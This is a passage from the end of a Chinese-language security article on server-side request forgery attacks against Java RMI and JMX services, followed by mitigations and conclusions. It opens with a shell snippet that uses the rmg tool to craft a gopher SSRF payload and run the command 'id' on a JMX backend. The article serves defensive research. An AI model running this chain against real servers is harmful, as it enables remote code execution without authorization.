echo '[+] Calling execute("id"): '
PAYLOAD=$(rmg call localhost ${JMX_PORT} "${ARG_EXEC}" --signature "${SIG_INVOKE}" --objid "${OBJID}" --ssrf --gopher --encode --raw)
RESULT=$(ssrf "${PAYLOAD}")

rmg call localhost ${JMX_PORT} "${ARG_EXEC}" --signature "${SIG_INVOKE}" --objid "${OBJID}" --ssrf-response ${RESULT} --plugin GenericPrint.jar

缓解措施


防止服务器端请求伪造是一个独立的主题,并且有几个有用的资源可用[8][9][10]。但是,本文中讨论的攻击类型说明了为什么保护后端服务也如此重要。只需更改一些配置,上述讨论的攻击都不会奏效。以下是保护RMI 服务的一些建议:

  1. 确保您使用最新版本的JavaJava RMI的安全级别在不断提高,过时的 Java版本往往包含已知漏洞。如果您无法更新,您至少应该通过查找您安装的Java版本的已知漏洞和使用漏洞扫描程序(如 remote-method-guesser [3])来评估您当前的安全级别。根据安装的Java版本,可能有解决方法。
  2. 为所有RMI端点启用TLS保护的通信。尽管Java RMI发送的主要是看起来不可读的二进制数据,但它实际上是一个纯文本协议。传递到RMI服务和从RMI服务接收的所有信息都以纯文本形式发送,攻击者可以在网络内的适当位置读取和修改。如果可能,您还应该考虑为您的RMI服务启用基于证书的身份验证。
  3. 为您的RMI服务实施身份验证。所有执行敏感操作的远程对象都应该要求用户进行身份验证才能使用。特别是JMX服务应该受密码保护,并使用JMX角色模型 只向经过身份验证的用户授予所需数量的权限[11]
  4. 为您的RMI服务使用反序列化过滤器,并且只允许反序列化所需的类型[12]。还要确保您的应用程序和第三方库不包含在反序列化期间执行危险操作的类。

结论


在本文中,我们展示了对Java RMI 的SSRF攻击可以在某些情况下起作用:

  1. SSRF漏洞需要允许任意字节被发送到后端服务(允许在默认攻击RMI像组件RMI注册表中,DGC激活系统
  2. SSRF漏洞需要从后端服务返回响应,并在其中接受任意字节(可在所有攻击RMI端点,包括JMX和定制的远程对象

如果这两个条件都满足,就可以像使用SSRF漏洞的直接连接一样使用后端RMI 服务。如果您遇到过这样的服务,我很想听听您关于基于SSRFRMI攻击的经验 🙂

参考


from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注